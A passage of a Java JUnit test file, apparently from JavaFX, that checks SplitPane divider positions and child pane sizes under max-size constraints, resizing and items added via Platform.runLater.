assertEquals(77, p0, 1e-100);
assertEquals(315, p1, 1e-100);
assertEquals(77, spLeft.getLayoutBounds().getHeight(), 1e-100);
assertEquals(232, spCenter.getLayoutBounds().getHeight(), 1e-100);
assertEquals(77, spRight.getLayoutBounds().getHeight(), 1e-100);
root.impl_reapplyCSS();
root.resize(400, 405);
root.layout();
h = 403;
pos = splitPane.getDividerPositions();
p0 = convertDividerPostionToAbsolutePostion(pos[0], h);
p1 = convertDividerPostionToAbsolutePostion(pos[1], h);
assertEquals(77, p0, 1e-100);
assertEquals(320, p1, 1e-100);
assertEquals(77, spLeft.getLayoutBounds().getHeight(), 1e-100);
assertEquals(237, spCenter.getLayoutBounds().getHeight(), 1e-100);
assertEquals(77, spRight.getLayoutBounds().getHeight(), 1e-100);
}
@Test public void resizeSplitPaneAllPanesAreSetToMax_VerticalSplitPane() {
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
spLeft.setMaxHeight(28);
spCenter.setMaxHeight(29);
spRight.setMaxHeight(29);
splitPane.setOrientation(Orientation.VERTICAL);
splitPane.setDividerPosition(0, 0.20);
splitPane.setDividerPosition(1, 0.80);
splitPane.getItems().addAll(spLeft, spCenter, spRight);
root.setPrefSize(100, 100);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double h = 98; // The height minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], h);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], h);
assertEquals(28, p0, 1e-100);
assertEquals(63, p1, 1e-100);
assertEquals(28, spLeft.getLayoutBounds().getHeight(), 1e-100);
assertEquals(29, spCenter.getLayoutBounds().getHeight(), 1e-100);
assertEquals(29, spRight.getLayoutBounds().getHeight(), 1e-100);
root.impl_reapplyCSS();
root.resize(400, 405);
root.layout();
h = 403;
pos = splitPane.getDividerPositions();
p0 = convertDividerPostionToAbsolutePostion(pos[0], h);
p1 = convertDividerPostionToAbsolutePostion(pos[1], h);
assertEquals(28, p0, 1e-100);
assertEquals(63, p1, 1e-100);
assertEquals(28, spLeft.getLayoutBounds().getHeight(), 1e-100);
assertEquals(29, spCenter.getLayoutBounds().getHeight(), 1e-100);
assertEquals(29, spRight.getLayoutBounds().getHeight(), 1e-100);
}
@Test public void positionDividersWithANonResizablePanel_RT22929() {
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
spRight.setMinWidth(20);
spRight.setPrefWidth(20);
spRight.setMaxWidth(30);
splitPane.setDividerPosition(0, 0.50);
splitPane.setDividerPosition(1, 0.50);
splitPane.getItems().addAll(spLeft, spCenter, spRight);
root.setPrefSize(100, 100);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double w = 98; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], w);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], w);
assertEquals(46, p0, 1e-100);
assertEquals(62, p1, 1e-100);
assertEquals(46, spLeft.getLayoutBounds().getWidth(), 1e-100);
assertEquals(10, spCenter.getLayoutBounds().getWidth(), 1e-100);
assertEquals(30, spRight.getLayoutBounds().getWidth(), 1e-100);
splitPane.setDividerPosition(0, 0.20);
pos = splitPane.getDividerPositions();
p0 = convertDividerPostionToAbsolutePostion(pos[0], w);
p1 = convertDividerPostionToAbsolutePostion(pos[1], w);
assertEquals(17, p0, 1e-100);
assertEquals(62, p1, 1e-100);
splitPane.setDividerPosition(1, 0.25);
pos = splitPane.getDividerPositions();
p0 = convertDividerPostionToAbsolutePostion(pos[0], w);
p1 = convertDividerPostionToAbsolutePostion(pos[1], w);
assertEquals(17, p0, 1e-100);
assertEquals(62, p1, 1e-100);
}
@Test public void threeDividersHaveTheSamePosition() {
StackPane sp1 = new StackPane();
StackPane sp2 = new StackPane();
StackPane sp3 = new StackPane();
StackPane sp4 = new StackPane();
splitPane.getItems().addAll(sp1, sp2, sp3, sp4);
root.setPrefSize(400, 400);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double w = 398; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], w);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], w);
double p2 = convertDividerPostionToAbsolutePostion(pos[2], w);
assertEquals(190, p0, 1e-100);
assertEquals(196, p1, 1e-100);
assertEquals(202, p2, 1e-100);
assertEquals(190, sp1.getLayoutBounds().getWidth(), 1e-100);
assertEquals(0, sp2.getLayoutBounds().getWidth(), 1e-100);
assertEquals(0, sp3.getLayoutBounds().getWidth(), 1e-100);
assertEquals(190, sp4.getLayoutBounds().getWidth(), 1e-100);
}
@Test public void addItemsInRunLater_RT23063() {
final SplitPane sp = new SplitPane();
Stage st = new Stage();
st.setScene(new Scene(sp, 2000, 2000));
st.show();
Runnable runnable = new Runnable() {
@Override
public void run() {
StackPane rightsp = new StackPane();
Label right = new Label("right");
rightsp.getChildren().add(right);
StackPane leftsp = new StackPane();
Label left = new Label("left");
leftsp.getChildren().add(left);
sp.getItems().addAll(rightsp, leftsp);
}
};
Platform.runLater(runnable);
sp.impl_reapplyCSS();
sp.resize(400, 400);
sp.layout();
assertEquals(1, sp.getDividerPositions().length);
double pos[] = sp.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], 398);
assertEquals(196, p0, 1e-100);
}
}
| gpl-2.0 |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.